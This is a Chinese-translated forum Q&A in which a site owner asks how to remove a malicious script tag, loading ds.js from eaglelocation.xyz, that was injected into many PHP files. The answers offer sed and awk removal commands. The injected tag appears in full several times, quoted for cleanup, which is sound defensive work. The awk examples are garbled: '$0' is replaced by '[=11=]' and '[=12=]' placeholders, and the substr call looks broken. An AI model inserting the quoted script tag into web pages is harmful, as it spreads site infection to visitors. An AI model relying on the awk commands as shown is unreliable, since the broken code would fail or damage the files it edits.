尝试匹配 sed 命令中的特定字符串

Trying To Match A Specific String Inside sed Command

有人成功地使用以下代码感染了我的很多文件:

<script type='text/javascript' async src='https://eaglelocation.xyz/ds.js&'></script>

脚本标签已添加到许多 .php 文件中。我正在尝试使用 sed 命令来修复这些文件。我的模式由于某种原因不匹配,即使在在线正则表达式测试器中它可以工作。这是我的:

sed '/<script type=\'text\/javascript\' async src=\'https:\/\/eaglelocation.xyz\/ds.js&\'\>\<\/script>/d' index.php

只是为了获得更多信息,脚本标签已添加到文件顶部,并且还连接到开头的 php 标签,如 </script><?php

您的 sed 使用存在多个问题:

  • 您混合使用单引号作为模式分隔符和 JS 代码的一部分。使用双引号作为模式包装器。
  • 你在模式中逃逸太多了。为了更容易理解,我使用 % 而不是 / 作为模式分隔符
  • 由于恶意代码可能会和好的代码放在同一行,所以我没有使用 d sed 命令,而是 s (替换)为 -i(到位)

见下文:

$ cat test.php
<script type='text/javascript' async src='https://eaglelocation.xyz/ds.js&'></script><?php
echo '<p>Hello World</p>'; ?>
$ sed -i  "s%<script type='text/javascript' async src='https://eaglelocation.xyz/ds.js&'></script>%%"  test.php
$ cat test.php
<?php
echo '<p>Hello World</p>'; ?>

sed 不理解文字字符串(参见 )但 awk 可以。如果它在一行上,则删除字符串:

<script type='text/javascript' async src='https://eaglelocation.xyz/ds.js&'></script>

来自一个文件是这样的:

awk '
    BEGIN { str=ARGV[1]; ARGV[1]="" }
    s=index([=11=],str) { [=11=]=substr([=11=],s-1) substr([=11=],s+length(str)) }
1' "<script type='text/javascript' async src='https://eaglelocation.xyz/ds.js&'></script>" file

要使用 GNU awk 对所有 .php 文件进行 "inplace" 编辑,则为:

find . -type f -name '*.php' -exec \
awk -i inplace '
    BEGIN { str=ARGV[1]; ARGV[1]="" }
    s=index([=12=],str) { [=12=]=substr([=12=],s-1) substr([=12=],s+length(str)) }
1' "<script type='text/javascript' async src='https://eaglelocation.xyz/ds.js&'></script>" {} +